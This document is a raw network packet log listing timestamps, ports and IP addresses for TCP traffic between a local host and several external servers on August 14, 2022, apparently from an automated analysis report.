Aug 14, 2022 08:39:20.386426926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386544943 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386585951 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386746883 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386796951 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386806965 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386843920 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386873007 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.386909962 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.386964083 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387002945 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.387034893 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387068033 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.387187958 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387231112 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.387253046 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387290001 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.387408972 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387449026 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.387485981 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.387521029 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534436941 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534471989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534518957 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534534931 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534691095 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534713030 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534723997 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534763098 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534781933 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534820080 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534940958 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534965038 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.534981966 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.534993887 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535183907 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535200119 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535227060 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535252094 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535298109 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535433054 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535466909 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535475016 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535500050 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535624981 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535648108 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535662889 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535677910 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535871983 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535908937 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.535919905 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.535940886 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536268950 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536287069 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536314011 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536333084 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536346912 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536377907 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536380053 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536407948 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536509037 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536542892 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536545992 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536576986 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536727905 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536748886 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.536771059 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536784887 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.536990881 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537028074 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537029982 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537059069 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537236929 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537267923 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537283897 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537296057 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537431002 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537461042 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537467957 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537492990 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537631989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537663937 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537674904 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537704945 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537888050 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537905931 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.537934065 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.537945986 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538072109 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538098097 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538120031 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538134098 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538285017 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538309097 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538322926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538336992 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538501024 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538546085 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538861036 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538901091 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538914919 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538925886 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.538934946 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.538959026 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539019108 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539045095 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539057016 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539076090 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539239883 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539264917 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539289951 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539309025 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539486885 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539513111 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539535999 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539556980 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539700031 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539724112 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539740086 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539761066 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539904118 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539928913 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.539967060 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.539979935 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540081024 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540106058 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540122032 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540137053 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540281057 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540306091 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540319920 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540333986 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540523052 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540548086 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540575027 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540589094 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540847063 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540874004 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.540896893 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.540910959 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541054010 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541079044 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541121006 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541136026 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541328907 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541357040 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541380882 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541393995 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541419983 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541445017 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541462898 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541481972 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541641951 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541666031 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541692019 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541704893 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541898012 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541920900 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.541944981 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.541960001 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.542124033 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.542149067 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.542171955 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.542186975 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.542280912 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.542325020 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:20.542375088 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:20.542439938 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:24.935127974 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:24.935303926 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:26.416167974 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:26.416224957 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:26.416318893 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:26.511274099 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:26.511300087 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:26.585494995 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:26.585627079 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:26.624310970 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:26.624341011 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:26.624754906 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:26.624830961 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.339600086 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.366885900 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.366970062 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.367027044 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.367062092 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.367073059 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.367077112 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.367111921 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.367130995 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.368508101 CEST	49172	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.368541002 CEST	443	49172	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.519236088 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.519279957 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.519350052 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.520055056 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.520077944 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.569510937 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.569642067 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.589493036 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.589521885 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.632776976 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.632802010 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.658349037 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.658436060 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.658454895 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.658484936 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.658504963 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.658509970 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.658525944 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.658545017 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.691168070 CEST	49173	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.691201925 CEST	443	49173	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.818675041 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.818717957 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.818820000 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.820192099 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.820214033 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.865796089 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.865955114 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.873219967 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.873239994 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.882000923 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.882025003 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.916944027 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.917018890 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917030096 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.917046070 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.917073011 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917085886 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917094946 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.917112112 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:27.917129993 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917148113 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917454958 CEST	49174	443	192.168.2.22	142.250.185.228
Aug 14, 2022 08:39:27.917474985 CEST	443	49174	142.250.185.228	192.168.2.22
Aug 14, 2022 08:39:28.356488943 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.356532097 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:28.356575966 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.357990980 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.358004093 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:28.838109016 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:28.838284969 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.848980904 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.848999977 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:28.849286079 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:28.849342108 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.872836113 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.872945070 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:28.872956038 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.518049002 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.518140078 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.518186092 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.518202066 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.519403934 CEST	49175	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.519428968 CEST	443	49175	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.632616997 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.632654905 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.632747889 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.633591890 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.633613110 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.944813013 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.944897890 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.963785887 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.963814020 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.971571922 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.971601009 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:29.971666098 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:29.971673965 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:30.603760004 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:30.603843927 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:30.603848934 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.603890896 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.611444950 CEST	49176	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.611483097 CEST	443	49176	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:30.722846031 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.722996950 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:30.723064899 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.723927021 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:30.723942041 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.037401915 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.037467957 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.050846100 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.050872087 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.059561968 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.059576988 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.059741974 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.059751034 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.693603992 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.693696022 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.693818092 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.695247889 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.695509911 CEST	49177	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.695547104 CEST	443	49177	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.797383070 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.797430992 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:31.797496080 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.800726891 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:31.800755978 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.112473965 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.112703085 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.119908094 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.119936943 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.125545025 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.125575066 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.125627041 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.125643015 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.754152060 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.754249096 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.754348993 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.754368067 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.754909039 CEST	49178	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.754924059 CEST	443	49178	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.859911919 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.859977961 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:32.860063076 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.860902071 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:32.860935926 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.174896002 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.175152063 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.183404922 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.183432102 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.194046974 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.194065094 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.194128036 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.194143057 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.825290918 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.825474977 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.825680017 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.825700045 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.826445103 CEST	49179	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:33.826471090 CEST	443	49179	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:33.937366009 CEST	49180	443	192.168.2.22	64.52.80.180
